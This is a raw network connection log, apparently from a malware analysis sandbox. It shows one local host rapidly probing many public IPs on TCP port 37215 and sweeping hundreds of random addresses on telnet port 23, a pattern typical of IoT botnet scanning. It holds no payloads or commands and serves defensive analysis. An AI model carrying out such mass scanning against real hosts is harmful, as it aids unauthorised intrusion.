Jan 30, 2025 10:42:59.583694935 CET	53810	37215	192.168.2.13	41.205.61.115
Jan 30, 2025 10:42:59.583694935 CET	53810	37215	192.168.2.13	41.205.61.115
Jan 30, 2025 10:42:59.583949089 CET	37215	49340	41.84.172.149	192.168.2.13
Jan 30, 2025 10:42:59.584084988 CET	53916	37215	192.168.2.13	41.205.61.115
Jan 30, 2025 10:42:59.584642887 CET	37215	49526	41.84.172.149	192.168.2.13
Jan 30, 2025 10:42:59.584696054 CET	49526	37215	192.168.2.13	41.84.172.149
Jan 30, 2025 10:42:59.584733009 CET	59190	37215	192.168.2.13	156.198.139.64
Jan 30, 2025 10:42:59.584733009 CET	59190	37215	192.168.2.13	156.198.139.64
Jan 30, 2025 10:42:59.585228920 CET	59284	37215	192.168.2.13	156.198.139.64
Jan 30, 2025 10:42:59.585763931 CET	37215	50516	41.114.221.214	192.168.2.13
Jan 30, 2025 10:42:59.585841894 CET	36802	37215	192.168.2.13	41.221.209.217
Jan 30, 2025 10:42:59.585841894 CET	36802	37215	192.168.2.13	41.221.209.217
Jan 30, 2025 10:42:59.586352110 CET	36878	37215	192.168.2.13	41.221.209.217
Jan 30, 2025 10:42:59.586858034 CET	37215	60162	156.186.122.47	192.168.2.13
Jan 30, 2025 10:42:59.587224960 CET	45088	37215	192.168.2.13	197.211.43.63
Jan 30, 2025 10:42:59.587224960 CET	45088	37215	192.168.2.13	197.211.43.63
Jan 30, 2025 10:42:59.588156939 CET	45158	37215	192.168.2.13	197.211.43.63
Jan 30, 2025 10:42:59.588763952 CET	37215	53810	41.205.61.115	192.168.2.13
Jan 30, 2025 10:42:59.589443922 CET	60952	37215	192.168.2.13	41.137.30.159
Jan 30, 2025 10:42:59.589443922 CET	60952	37215	192.168.2.13	41.137.30.159
Jan 30, 2025 10:42:59.589561939 CET	37215	59190	156.198.139.64	192.168.2.13
Jan 30, 2025 10:42:59.590169907 CET	32774	37215	192.168.2.13	41.137.30.159
Jan 30, 2025 10:42:59.590706110 CET	37215	36802	41.221.209.217	192.168.2.13
Jan 30, 2025 10:42:59.590843916 CET	40608	37215	192.168.2.13	41.127.235.237
Jan 30, 2025 10:42:59.590843916 CET	40608	37215	192.168.2.13	41.127.235.237
Jan 30, 2025 10:42:59.591336012 CET	40650	37215	192.168.2.13	41.127.235.237
Jan 30, 2025 10:42:59.592025042 CET	37215	45088	197.211.43.63	192.168.2.13
Jan 30, 2025 10:42:59.592102051 CET	49526	37215	192.168.2.13	41.84.172.149
Jan 30, 2025 10:42:59.592104912 CET	40072	37215	192.168.2.13	156.134.114.48
Jan 30, 2025 10:42:59.594307899 CET	37215	60952	41.137.30.159	192.168.2.13
Jan 30, 2025 10:42:59.595642090 CET	37215	40608	41.127.235.237	192.168.2.13
Jan 30, 2025 10:42:59.596133947 CET	37215	40650	41.127.235.237	192.168.2.13
Jan 30, 2025 10:42:59.596339941 CET	40650	37215	192.168.2.13	41.127.235.237
Jan 30, 2025 10:42:59.596339941 CET	40650	37215	192.168.2.13	41.127.235.237
Jan 30, 2025 10:42:59.598330975 CET	37215	40072	156.134.114.48	192.168.2.13
Jan 30, 2025 10:42:59.598542929 CET	40072	37215	192.168.2.13	156.134.114.48
Jan 30, 2025 10:42:59.599291086 CET	37215	49526	41.84.172.149	192.168.2.13
Jan 30, 2025 10:42:59.599343061 CET	49526	37215	192.168.2.13	41.84.172.149
Jan 30, 2025 10:42:59.601290941 CET	37215	40650	41.127.235.237	192.168.2.13
Jan 30, 2025 10:42:59.601433039 CET	40650	37215	192.168.2.13	41.127.235.237
Jan 30, 2025 10:42:59.615771055 CET	37215	58288	156.215.110.203	192.168.2.13
Jan 30, 2025 10:42:59.615786076 CET	37215	53202	197.70.160.34	192.168.2.13
Jan 30, 2025 10:42:59.619808912 CET	37215	40298	197.56.120.123	192.168.2.13
Jan 30, 2025 10:42:59.619822979 CET	37215	36656	41.153.173.123	192.168.2.13
Jan 30, 2025 10:42:59.619832993 CET	37215	39574	156.134.114.48	192.168.2.13
Jan 30, 2025 10:42:59.623805046 CET	37215	38442	197.120.21.157	192.168.2.13
Jan 30, 2025 10:42:59.623819113 CET	37215	45684	41.91.240.84	192.168.2.13
Jan 30, 2025 10:42:59.627794981 CET	37215	60162	156.186.122.47	192.168.2.13
Jan 30, 2025 10:42:59.627811909 CET	37215	50516	41.114.221.214	192.168.2.13
Jan 30, 2025 10:42:59.627825975 CET	37215	49340	41.84.172.149	192.168.2.13
Jan 30, 2025 10:42:59.631762981 CET	37215	36802	41.221.209.217	192.168.2.13
Jan 30, 2025 10:42:59.631779909 CET	37215	59190	156.198.139.64	192.168.2.13
Jan 30, 2025 10:42:59.631789923 CET	37215	53810	41.205.61.115	192.168.2.13
Jan 30, 2025 10:42:59.635801077 CET	37215	60952	41.137.30.159	192.168.2.13
Jan 30, 2025 10:42:59.635817051 CET	37215	45088	197.211.43.63	192.168.2.13
Jan 30, 2025 10:42:59.639753103 CET	37215	40608	41.127.235.237	192.168.2.13
Jan 30, 2025 10:43:00.099210024 CET	46702	23	192.168.2.13	93.14.194.70
Jan 30, 2025 10:43:00.099211931 CET	34008	23	192.168.2.13	13.207.10.40
Jan 30, 2025 10:43:00.099212885 CET	53420	23	192.168.2.13	23.13.99.188
Jan 30, 2025 10:43:00.099212885 CET	53552	23	192.168.2.13	150.111.21.145
Jan 30, 2025 10:43:00.099216938 CET	54950	23	192.168.2.13	65.132.133.102
Jan 30, 2025 10:43:00.099217892 CET	37940	23	192.168.2.13	39.87.5.151
Jan 30, 2025 10:43:00.099216938 CET	40770	23	192.168.2.13	131.232.126.255
Jan 30, 2025 10:43:00.099217892 CET	48490	23	192.168.2.13	110.235.214.238
Jan 30, 2025 10:43:00.099217892 CET	45246	23	192.168.2.13	116.42.227.92
Jan 30, 2025 10:43:00.099225044 CET	47826	23	192.168.2.13	63.32.59.22
Jan 30, 2025 10:43:00.099266052 CET	34538	23	192.168.2.13	183.244.94.92
Jan 30, 2025 10:43:00.104362011 CET	23	34008	13.207.10.40	192.168.2.13
Jan 30, 2025 10:43:00.104374886 CET	23	46702	93.14.194.70	192.168.2.13
Jan 30, 2025 10:43:00.104386091 CET	23	53420	23.13.99.188	192.168.2.13
Jan 30, 2025 10:43:00.104397058 CET	23	37940	39.87.5.151	192.168.2.13
Jan 30, 2025 10:43:00.104407072 CET	23	53552	150.111.21.145	192.168.2.13
Jan 30, 2025 10:43:00.104418039 CET	23	54950	65.132.133.102	192.168.2.13
Jan 30, 2025 10:43:00.104428053 CET	23	48490	110.235.214.238	192.168.2.13
Jan 30, 2025 10:43:00.104438066 CET	23	40770	131.232.126.255	192.168.2.13
Jan 30, 2025 10:43:00.104450941 CET	46702	23	192.168.2.13	93.14.194.70
Jan 30, 2025 10:43:00.104451895 CET	23	47826	63.32.59.22	192.168.2.13
Jan 30, 2025 10:43:00.104453087 CET	34008	23	192.168.2.13	13.207.10.40
Jan 30, 2025 10:43:00.104453087 CET	53552	23	192.168.2.13	150.111.21.145
Jan 30, 2025 10:43:00.104454041 CET	53420	23	192.168.2.13	23.13.99.188
Jan 30, 2025 10:43:00.104463100 CET	23	45246	116.42.227.92	192.168.2.13
Jan 30, 2025 10:43:00.104463100 CET	37940	23	192.168.2.13	39.87.5.151
Jan 30, 2025 10:43:00.104463100 CET	48490	23	192.168.2.13	110.235.214.238
Jan 30, 2025 10:43:00.104465008 CET	54950	23	192.168.2.13	65.132.133.102
Jan 30, 2025 10:43:00.104465008 CET	40770	23	192.168.2.13	131.232.126.255
Jan 30, 2025 10:43:00.104473114 CET	23	34538	183.244.94.92	192.168.2.13
Jan 30, 2025 10:43:00.104491949 CET	45246	23	192.168.2.13	116.42.227.92
Jan 30, 2025 10:43:00.104495049 CET	47826	23	192.168.2.13	63.32.59.22
Jan 30, 2025 10:43:00.104506016 CET	34538	23	192.168.2.13	183.244.94.92
Jan 30, 2025 10:43:00.104608059 CET	38884	23	192.168.2.13	103.120.237.205
Jan 30, 2025 10:43:00.104612112 CET	38884	23	192.168.2.13	120.149.146.247
Jan 30, 2025 10:43:00.104664087 CET	38884	23	192.168.2.13	148.105.69.254
Jan 30, 2025 10:43:00.104671001 CET	38884	23	192.168.2.13	121.7.202.30
Jan 30, 2025 10:43:00.104686022 CET	38884	23	192.168.2.13	102.98.28.27
Jan 30, 2025 10:43:00.104691029 CET	38884	23	192.168.2.13	24.151.67.92
Jan 30, 2025 10:43:00.104693890 CET	38884	23	192.168.2.13	194.73.89.45
Jan 30, 2025 10:43:00.104696035 CET	38884	23	192.168.2.13	64.64.169.74
Jan 30, 2025 10:43:00.104696035 CET	38884	23	192.168.2.13	94.199.10.171
Jan 30, 2025 10:43:00.104691029 CET	38884	23	192.168.2.13	37.202.195.201
Jan 30, 2025 10:43:00.104697943 CET	38884	23	192.168.2.13	93.161.236.155
Jan 30, 2025 10:43:00.104705095 CET	38884	23	192.168.2.13	180.213.143.224
Jan 30, 2025 10:43:00.104705095 CET	38884	23	192.168.2.13	69.192.153.172
Jan 30, 2025 10:43:00.104707956 CET	38884	23	192.168.2.13	184.234.171.69
Jan 30, 2025 10:43:00.104707956 CET	38884	23	192.168.2.13	40.147.211.73
Jan 30, 2025 10:43:00.104717970 CET	38884	23	192.168.2.13	14.75.178.228
Jan 30, 2025 10:43:00.104717970 CET	38884	23	192.168.2.13	205.252.145.211
Jan 30, 2025 10:43:00.104717970 CET	38884	23	192.168.2.13	173.96.150.97
Jan 30, 2025 10:43:00.104720116 CET	38884	23	192.168.2.13	206.118.134.58
Jan 30, 2025 10:43:00.104724884 CET	38884	23	192.168.2.13	100.187.164.188
Jan 30, 2025 10:43:00.104724884 CET	38884	23	192.168.2.13	180.230.182.149
Jan 30, 2025 10:43:00.104727030 CET	38884	23	192.168.2.13	146.197.184.122
Jan 30, 2025 10:43:00.104727030 CET	38884	23	192.168.2.13	49.115.23.190
Jan 30, 2025 10:43:00.104727030 CET	38884	23	192.168.2.13	5.230.106.17
Jan 30, 2025 10:43:00.104727030 CET	38884	23	192.168.2.13	174.208.11.117
Jan 30, 2025 10:43:00.104729891 CET	38884	23	192.168.2.13	216.68.20.126
Jan 30, 2025 10:43:00.104729891 CET	38884	23	192.168.2.13	194.153.234.233
Jan 30, 2025 10:43:00.104729891 CET	38884	23	192.168.2.13	125.200.124.233
Jan 30, 2025 10:43:00.104737043 CET	38884	23	192.168.2.13	69.167.58.100
Jan 30, 2025 10:43:00.104737043 CET	38884	23	192.168.2.13	95.79.141.187
Jan 30, 2025 10:43:00.104738951 CET	38884	23	192.168.2.13	46.144.94.83
Jan 30, 2025 10:43:00.104763031 CET	38884	23	192.168.2.13	180.38.194.170
Jan 30, 2025 10:43:00.104763031 CET	38884	23	192.168.2.13	170.158.112.204
Jan 30, 2025 10:43:00.104763985 CET	38884	23	192.168.2.13	115.91.31.147
Jan 30, 2025 10:43:00.104763031 CET	38884	23	192.168.2.13	199.228.218.99
Jan 30, 2025 10:43:00.104799986 CET	38884	23	192.168.2.13	118.246.153.241
Jan 30, 2025 10:43:00.104799986 CET	38884	23	192.168.2.13	91.28.2.163
Jan 30, 2025 10:43:00.104800940 CET	38884	23	192.168.2.13	146.170.157.65
Jan 30, 2025 10:43:00.104799986 CET	38884	23	192.168.2.13	150.86.205.137
Jan 30, 2025 10:43:00.104800940 CET	38884	23	192.168.2.13	76.134.204.163
Jan 30, 2025 10:43:00.104801893 CET	38884	23	192.168.2.13	141.145.100.239
Jan 30, 2025 10:43:00.104835033 CET	38884	23	192.168.2.13	129.55.112.139
Jan 30, 2025 10:43:00.104836941 CET	38884	23	192.168.2.13	79.215.135.229
Jan 30, 2025 10:43:00.104836941 CET	38884	23	192.168.2.13	72.39.164.252
Jan 30, 2025 10:43:00.104839087 CET	38884	23	192.168.2.13	179.207.82.98
Jan 30, 2025 10:43:00.104839087 CET	38884	23	192.168.2.13	203.139.109.11
Jan 30, 2025 10:43:00.104839087 CET	38884	23	192.168.2.13	89.80.53.60
Jan 30, 2025 10:43:00.104845047 CET	38884	23	192.168.2.13	31.235.63.238
Jan 30, 2025 10:43:00.104845047 CET	38884	23	192.168.2.13	198.127.32.1
Jan 30, 2025 10:43:00.104847908 CET	38884	23	192.168.2.13	76.156.165.1
Jan 30, 2025 10:43:00.104850054 CET	38884	23	192.168.2.13	39.246.94.46
Jan 30, 2025 10:43:00.104868889 CET	38884	23	192.168.2.13	94.96.178.115
Jan 30, 2025 10:43:00.104872942 CET	38884	23	192.168.2.13	17.141.188.11
Jan 30, 2025 10:43:00.104876995 CET	38884	23	192.168.2.13	126.233.51.210
Jan 30, 2025 10:43:00.104876995 CET	38884	23	192.168.2.13	92.116.97.234
Jan 30, 2025 10:43:00.104876995 CET	38884	23	192.168.2.13	17.199.202.236
Jan 30, 2025 10:43:00.104888916 CET	38884	23	192.168.2.13	65.243.71.99
Jan 30, 2025 10:43:00.104896069 CET	38884	23	192.168.2.13	144.73.171.156
Jan 30, 2025 10:43:00.104903936 CET	38884	23	192.168.2.13	202.203.31.253
Jan 30, 2025 10:43:00.104912996 CET	38884	23	192.168.2.13	185.250.238.204
Jan 30, 2025 10:43:00.104921103 CET	38884	23	192.168.2.13	138.159.174.153
Jan 30, 2025 10:43:00.104953051 CET	38884	23	192.168.2.13	39.231.56.86
Jan 30, 2025 10:43:00.104957104 CET	38884	23	192.168.2.13	150.91.39.67
Jan 30, 2025 10:43:00.104957104 CET	38884	23	192.168.2.13	31.139.189.248
Jan 30, 2025 10:43:00.105000973 CET	38884	23	192.168.2.13	188.69.87.233
Jan 30, 2025 10:43:00.105011940 CET	38884	23	192.168.2.13	39.112.78.254
Jan 30, 2025 10:43:00.105012894 CET	38884	23	192.168.2.13	146.96.236.139
Jan 30, 2025 10:43:00.105016947 CET	38884	23	192.168.2.13	32.220.182.151
Jan 30, 2025 10:43:00.105016947 CET	38884	23	192.168.2.13	116.160.142.18
Jan 30, 2025 10:43:00.105016947 CET	38884	23	192.168.2.13	200.241.99.30
Jan 30, 2025 10:43:00.105026960 CET	38884	23	192.168.2.13	182.115.37.157
Jan 30, 2025 10:43:00.105026960 CET	38884	23	192.168.2.13	85.217.190.240
Jan 30, 2025 10:43:00.105034113 CET	38884	23	192.168.2.13	43.140.122.250
Jan 30, 2025 10:43:00.105076075 CET	38884	23	192.168.2.13	60.139.1.35
Jan 30, 2025 10:43:00.105076075 CET	38884	23	192.168.2.13	106.49.78.88
Jan 30, 2025 10:43:00.105077982 CET	38884	23	192.168.2.13	130.9.166.206
Jan 30, 2025 10:43:00.105079889 CET	38884	23	192.168.2.13	193.11.125.238
Jan 30, 2025 10:43:00.105083942 CET	38884	23	192.168.2.13	63.252.230.85
Jan 30, 2025 10:43:00.105129957 CET	38884	23	192.168.2.13	172.185.159.215
Jan 30, 2025 10:43:00.105134010 CET	38884	23	192.168.2.13	185.97.75.178
Jan 30, 2025 10:43:00.105135918 CET	38884	23	192.168.2.13	107.2.93.93
Jan 30, 2025 10:43:00.105135918 CET	38884	23	192.168.2.13	23.145.200.248
Jan 30, 2025 10:43:00.105160952 CET	38884	23	192.168.2.13	108.121.147.234
Jan 30, 2025 10:43:00.105165005 CET	38884	23	192.168.2.13	187.201.49.223
Jan 30, 2025 10:43:00.105165005 CET	38884	23	192.168.2.13	172.219.26.195
Jan 30, 2025 10:43:00.105165005 CET	38884	23	192.168.2.13	171.146.192.63
Jan 30, 2025 10:43:00.105169058 CET	38884	23	192.168.2.13	53.128.24.179
Jan 30, 2025 10:43:00.105171919 CET	38884	23	192.168.2.13	125.247.93.109
Jan 30, 2025 10:43:00.105175972 CET	38884	23	192.168.2.13	198.115.119.137
Jan 30, 2025 10:43:00.105178118 CET	38884	23	192.168.2.13	25.48.136.197
Jan 30, 2025 10:43:00.105178118 CET	38884	23	192.168.2.13	148.17.143.176
Jan 30, 2025 10:43:00.105189085 CET	38884	23	192.168.2.13	203.21.6.80
Jan 30, 2025 10:43:00.105196953 CET	38884	23	192.168.2.13	101.240.75.245
Jan 30, 2025 10:43:00.105261087 CET	38884	23	192.168.2.13	20.90.73.26
Jan 30, 2025 10:43:00.105261087 CET	38884	23	192.168.2.13	166.213.105.222
Jan 30, 2025 10:43:00.105262041 CET	38884	23	192.168.2.13	133.252.32.190
Jan 30, 2025 10:43:00.105262995 CET	38884	23	192.168.2.13	190.208.36.127
Jan 30, 2025 10:43:00.105285883 CET	38884	23	192.168.2.13	115.20.160.143
Jan 30, 2025 10:43:00.105290890 CET	38884	23	192.168.2.13	180.229.28.230
Jan 30, 2025 10:43:00.105295897 CET	38884	23	192.168.2.13	148.63.250.197
Jan 30, 2025 10:43:00.105297089 CET	38884	23	192.168.2.13	89.66.135.33
Jan 30, 2025 10:43:00.105297089 CET	38884	23	192.168.2.13	80.183.88.132
Jan 30, 2025 10:43:00.105299950 CET	38884	23	192.168.2.13	192.163.24.160
Jan 30, 2025 10:43:00.105304003 CET	38884	23	192.168.2.13	171.164.169.255
Jan 30, 2025 10:43:00.105304003 CET	38884	23	192.168.2.13	182.35.20.79
Jan 30, 2025 10:43:00.105304956 CET	38884	23	192.168.2.13	31.5.182.27
Jan 30, 2025 10:43:00.105304956 CET	38884	23	192.168.2.13	102.215.248.140
Jan 30, 2025 10:43:00.105325937 CET	38884	23	192.168.2.13	122.45.252.26
Jan 30, 2025 10:43:00.105325937 CET	38884	23	192.168.2.13	64.149.230.98
Jan 30, 2025 10:43:00.105330944 CET	38884	23	192.168.2.13	85.139.179.35
Jan 30, 2025 10:43:00.105331898 CET	38884	23	192.168.2.13	196.31.208.249
Jan 30, 2025 10:43:00.105331898 CET	38884	23	192.168.2.13	68.59.103.100
Jan 30, 2025 10:43:00.105340004 CET	38884	23	192.168.2.13	221.130.219.241
Jan 30, 2025 10:43:00.105348110 CET	38884	23	192.168.2.13	74.166.107.240
Jan 30, 2025 10:43:00.105348110 CET	38884	23	192.168.2.13	53.247.163.105
Jan 30, 2025 10:43:00.105353117 CET	38884	23	192.168.2.13	31.52.80.233
Jan 30, 2025 10:43:00.105390072 CET	38884	23	192.168.2.13	209.120.138.224
Jan 30, 2025 10:43:00.105391979 CET	38884	23	192.168.2.13	82.222.187.200
Jan 30, 2025 10:43:00.105395079 CET	38884	23	192.168.2.13	48.174.86.99
Jan 30, 2025 10:43:00.105403900 CET	38884	23	192.168.2.13	31.225.54.59
Jan 30, 2025 10:43:00.105407953 CET	38884	23	192.168.2.13	12.68.220.213
Jan 30, 2025 10:43:00.105422020 CET	38884	23	192.168.2.13	70.103.75.137
Jan 30, 2025 10:43:00.105422974 CET	38884	23	192.168.2.13	147.206.238.108
Jan 30, 2025 10:43:00.105453968 CET	38884	23	192.168.2.13	116.73.127.177
Jan 30, 2025 10:43:00.105454922 CET	38884	23	192.168.2.13	84.138.226.42
Jan 30, 2025 10:43:00.105456114 CET	38884	23	192.168.2.13	135.209.66.47
Jan 30, 2025 10:43:00.105456114 CET	38884	23	192.168.2.13	120.218.149.225
Jan 30, 2025 10:43:00.105489969 CET	38884	23	192.168.2.13	27.96.85.64
Jan 30, 2025 10:43:00.105501890 CET	38884	23	192.168.2.13	89.94.68.69
Jan 30, 2025 10:43:00.105501890 CET	38884	23	192.168.2.13	189.72.236.85
Jan 30, 2025 10:43:00.105503082 CET	38884	23	192.168.2.13	8.148.107.133
Jan 30, 2025 10:43:00.105505943 CET	38884	23	192.168.2.13	107.30.28.99
Jan 30, 2025 10:43:00.105506897 CET	38884	23	192.168.2.13	181.136.202.72
Jan 30, 2025 10:43:00.105515003 CET	38884	23	192.168.2.13	123.212.45.15
Jan 30, 2025 10:43:00.105515003 CET	38884	23	192.168.2.13	139.113.173.4
Jan 30, 2025 10:43:00.105516911 CET	38884	23	192.168.2.13	114.95.5.186
Jan 30, 2025 10:43:00.105519056 CET	38884	23	192.168.2.13	223.14.54.180
Jan 30, 2025 10:43:00.105519056 CET	38884	23	192.168.2.13	169.179.73.66
Jan 30, 2025 10:43:00.105519056 CET	38884	23	192.168.2.13	203.23.75.5
Jan 30, 2025 10:43:00.105521917 CET	38884	23	192.168.2.13	86.3.62.227
Jan 30, 2025 10:43:00.105520964 CET	38884	23	192.168.2.13	104.39.37.124
Jan 30, 2025 10:43:00.105520964 CET	38884	23	192.168.2.13	153.161.90.140
Jan 30, 2025 10:43:00.105526924 CET	38884	23	192.168.2.13	86.201.101.35
Jan 30, 2025 10:43:00.105529070 CET	38884	23	192.168.2.13	204.70.112.11
Jan 30, 2025 10:43:00.105530024 CET	38884	23	192.168.2.13	62.252.64.148
Jan 30, 2025 10:43:00.105535984 CET	38884	23	192.168.2.13	91.136.58.53
Jan 30, 2025 10:43:00.105535984 CET	38884	23	192.168.2.13	130.30.46.166
Jan 30, 2025 10:43:00.105535984 CET	38884	23	192.168.2.13	160.132.127.102
Jan 30, 2025 10:43:00.105547905 CET	38884	23	192.168.2.13	122.194.106.121
Jan 30, 2025 10:43:00.105560064 CET	38884	23	192.168.2.13	176.123.100.112
Jan 30, 2025 10:43:00.105566025 CET	38884	23	192.168.2.13	171.201.57.180
Jan 30, 2025 10:43:00.105596066 CET	38884	23	192.168.2.13	206.139.179.37
Jan 30, 2025 10:43:00.105597019 CET	38884	23	192.168.2.13	140.238.137.36
Jan 30, 2025 10:43:00.105598927 CET	38884	23	192.168.2.13	67.6.252.41
Jan 30, 2025 10:43:00.105643034 CET	38884	23	192.168.2.13	58.204.228.249
Jan 30, 2025 10:43:00.105644941 CET	38884	23	192.168.2.13	19.167.136.224
Jan 30, 2025 10:43:00.105644941 CET	38884	23	192.168.2.13	36.115.139.212
Jan 30, 2025 10:43:00.105648041 CET	38884	23	192.168.2.13	4.66.251.214
Jan 30, 2025 10:43:00.105648041 CET	38884	23	192.168.2.13	208.225.26.223
Jan 30, 2025 10:43:00.105648041 CET	38884	23	192.168.2.13	48.76.67.149
Jan 30, 2025 10:43:00.105664968 CET	38884	23	192.168.2.13	106.229.7.165
Jan 30, 2025 10:43:00.105664968 CET	38884	23	192.168.2.13	152.44.185.33
Jan 30, 2025 10:43:00.105673075 CET	38884	23	192.168.2.13	75.115.192.78
Jan 30, 2025 10:43:00.105684996 CET	38884	23	192.168.2.13	74.165.245.134
Jan 30, 2025 10:43:00.105685949 CET	38884	23	192.168.2.13	223.241.93.3
Jan 30, 2025 10:43:00.105700016 CET	38884	23	192.168.2.13	201.253.241.206
Jan 30, 2025 10:43:00.105700016 CET	38884	23	192.168.2.13	44.157.214.255
Jan 30, 2025 10:43:00.105716944 CET	38884	23	192.168.2.13	143.14.24.117
Jan 30, 2025 10:43:00.105731964 CET	38884	23	192.168.2.13	151.127.240.103
Jan 30, 2025 10:43:00.105736971 CET	38884	23	192.168.2.13	69.74.125.211
Jan 30, 2025 10:43:00.105752945 CET	38884	23	192.168.2.13	77.150.221.122
Jan 30, 2025 10:43:00.105765104 CET	38884	23	192.168.2.13	133.92.248.119
Jan 30, 2025 10:43:00.105765104 CET	38884	23	192.168.2.13	123.70.188.168
Jan 30, 2025 10:43:00.105823994 CET	38884	23	192.168.2.13	95.95.202.81
Jan 30, 2025 10:43:00.105823994 CET	38884	23	192.168.2.13	136.185.212.158
Jan 30, 2025 10:43:00.105823994 CET	38884	23	192.168.2.13	123.187.108.96
Jan 30, 2025 10:43:00.105823994 CET	38884	23	192.168.2.13	193.79.237.13
Jan 30, 2025 10:43:00.105823994 CET	38884	23	192.168.2.13	41.238.240.117
Jan 30, 2025 10:43:00.105823994 CET	38884	23	192.168.2.13	196.220.37.230
Jan 30, 2025 10:43:00.105851889 CET	38884	23	192.168.2.13	193.120.178.66
Jan 30, 2025 10:43:00.105853081 CET	38884	23	192.168.2.13	50.70.161.211
Jan 30, 2025 10:43:00.105861902 CET	38884	23	192.168.2.13	142.80.175.66
Jan 30, 2025 10:43:00.105873108 CET	38884	23	192.168.2.13	186.92.95.0
Jan 30, 2025 10:43:00.105884075 CET	38884	23	192.168.2.13	112.181.100.249
Jan 30, 2025 10:43:00.105900049 CET	38884	23	192.168.2.13	131.136.163.130
Jan 30, 2025 10:43:00.105917931 CET	38884	23	192.168.2.13	154.126.166.39
Jan 30, 2025 10:43:00.105917931 CET	38884	23	192.168.2.13	35.34.30.4
Jan 30, 2025 10:43:00.105921030 CET	38884	23	192.168.2.13	126.71.87.121
Jan 30, 2025 10:43:00.105931044 CET	38884	23	192.168.2.13	18.44.113.30
Jan 30, 2025 10:43:00.105933905 CET	38884	23	192.168.2.13	48.170.139.58
Jan 30, 2025 10:43:00.105942011 CET	38884	23	192.168.2.13	197.68.65.75
Jan 30, 2025 10:43:00.105957985 CET	38884	23	192.168.2.13	181.189.80.246
Jan 30, 2025 10:43:00.105969906 CET	38884	23	192.168.2.13	218.104.201.126
Jan 30, 2025 10:43:00.105969906 CET	38884	23	192.168.2.13	115.249.225.220
Jan 30, 2025 10:43:00.105974913 CET	38884	23	192.168.2.13	98.246.15.120
Jan 30, 2025 10:43:00.105988026 CET	38884	23	192.168.2.13	111.106.139.79
Jan 30, 2025 10:43:00.105994940 CET	38884	23	192.168.2.13	87.111.75.86
Jan 30, 2025 10:43:00.106007099 CET	38884	23	192.168.2.13	169.86.4.28
Jan 30, 2025 10:43:00.106013060 CET	38884	23	192.168.2.13	79.74.177.28
Jan 30, 2025 10:43:00.106075048 CET	38884	23	192.168.2.13	77.141.155.93
Jan 30, 2025 10:43:00.106075048 CET	38884	23	192.168.2.13	24.54.2.100
Jan 30, 2025 10:43:00.106086016 CET	38884	23	192.168.2.13	42.118.166.50
Jan 30, 2025 10:43:00.106087923 CET	38884	23	192.168.2.13	49.10.20.139
Jan 30, 2025 10:43:00.106087923 CET	38884	23	192.168.2.13	205.65.15.91
Jan 30, 2025 10:43:00.106087923 CET	38884	23	192.168.2.13	58.185.5.182
Jan 30, 2025 10:43:00.106089115 CET	38884	23	192.168.2.13	174.58.59.100
Jan 30, 2025 10:43:00.106089115 CET	38884	23	192.168.2.13	82.250.54.131
Jan 30, 2025 10:43:00.106090069 CET	38884	23	192.168.2.13	179.86.218.198
Jan 30, 2025 10:43:00.106090069 CET	38884	23	192.168.2.13	57.238.160.20
Jan 30, 2025 10:43:00.106090069 CET	38884	23	192.168.2.13	154.213.217.157
Jan 30, 2025 10:43:00.106091976 CET	38884	23	192.168.2.13	68.115.209.156
Jan 30, 2025 10:43:00.106093884 CET	38884	23	192.168.2.13	42.242.69.150
Jan 30, 2025 10:43:00.106093884 CET	38884	23	192.168.2.13	198.199.138.27
Jan 30, 2025 10:43:00.106118917 CET	38884	23	192.168.2.13	84.79.11.101
Jan 30, 2025 10:43:00.106118917 CET	38884	23	192.168.2.13	41.115.76.66
Jan 30, 2025 10:43:00.106120110 CET	38884	23	192.168.2.13	111.105.127.157
Jan 30, 2025 10:43:00.106118917 CET	38884	23	192.168.2.13	99.187.89.219
Jan 30, 2025 10:43:00.106122017 CET	38884	23	192.168.2.13	155.106.67.200
Jan 30, 2025 10:43:00.106118917 CET	38884	23	192.168.2.13	179.91.125.94
Jan 30, 2025 10:43:00.106122971 CET	38884	23	192.168.2.13	148.247.27.38
Jan 30, 2025 10:43:00.106122971 CET	38884	23	192.168.2.13	217.213.122.196
Jan 30, 2025 10:43:00.106123924 CET	38884	23	192.168.2.13	105.149.61.221
Jan 30, 2025 10:43:00.106125116 CET	38884	23	192.168.2.13	187.96.127.5
Jan 30, 2025 10:43:00.106137991 CET	38884	23	192.168.2.13	136.243.85.221
Jan 30, 2025 10:43:00.106139898 CET	38884	23	192.168.2.13	158.122.110.61
Jan 30, 2025 10:43:00.106139898 CET	38884	23	192.168.2.13	50.27.121.42
Jan 30, 2025 10:43:00.106139898 CET	38884	23	192.168.2.13	186.181.94.5
Jan 30, 2025 10:43:00.106142044 CET	38884	23	192.168.2.13	178.109.104.37
Jan 30, 2025 10:43:00.106147051 CET	38884	23	192.168.2.13	120.104.41.150
Jan 30, 2025 10:43:00.106147051 CET	38884	23	192.168.2.13	156.240.230.200
Jan 30, 2025 10:43:00.106147051 CET	38884	23	192.168.2.13	131.42.252.171
Jan 30, 2025 10:43:00.106147051 CET	38884	23	192.168.2.13	181.150.122.123
Jan 30, 2025 10:43:00.106147051 CET	38884	23	192.168.2.13	207.117.0.57
Jan 30, 2025 10:43:00.106148958 CET	38884	23	192.168.2.13	76.91.173.101
Jan 30, 2025 10:43:00.106147051 CET	38884	23	192.168.2.13	105.148.87.49
Jan 30, 2025 10:43:00.106151104 CET	38884	23	192.168.2.13	46.6.113.12
Jan 30, 2025 10:43:00.106153011 CET	38884	23	192.168.2.13	74.32.164.97
Jan 30, 2025 10:43:00.106148958 CET	38884	23	192.168.2.13	8.239.229.138
Jan 30, 2025 10:43:00.106153011 CET	38884	23	192.168.2.13	41.45.152.213
Jan 30, 2025 10:43:00.106162071 CET	38884	23	192.168.2.13	164.156.87.208
Jan 30, 2025 10:43:00.106172085 CET	38884	23	192.168.2.13	196.34.105.113
Jan 30, 2025 10:43:00.106174946 CET	38884	23	192.168.2.13	85.195.0.161
Jan 30, 2025 10:43:00.106178045 CET	38884	23	192.168.2.13	145.234.101.123
Jan 30, 2025 10:43:00.106178045 CET	38884	23	192.168.2.13	192.121.17.75
Jan 30, 2025 10:43:00.106188059 CET	38884	23	192.168.2.13	95.67.159.212
Jan 30, 2025 10:43:00.106189966 CET	38884	23	192.168.2.13	1.153.176.72
Jan 30, 2025 10:43:00.106201887 CET	38884	23	192.168.2.13	160.125.187.4
Jan 30, 2025 10:43:00.106203079 CET	38884	23	192.168.2.13	38.14.97.7
Jan 30, 2025 10:43:00.106219053 CET	38884	23	192.168.2.13	154.102.96.112
Jan 30, 2025 10:43:00.106225967 CET	38884	23	192.168.2.13	88.249.56.27
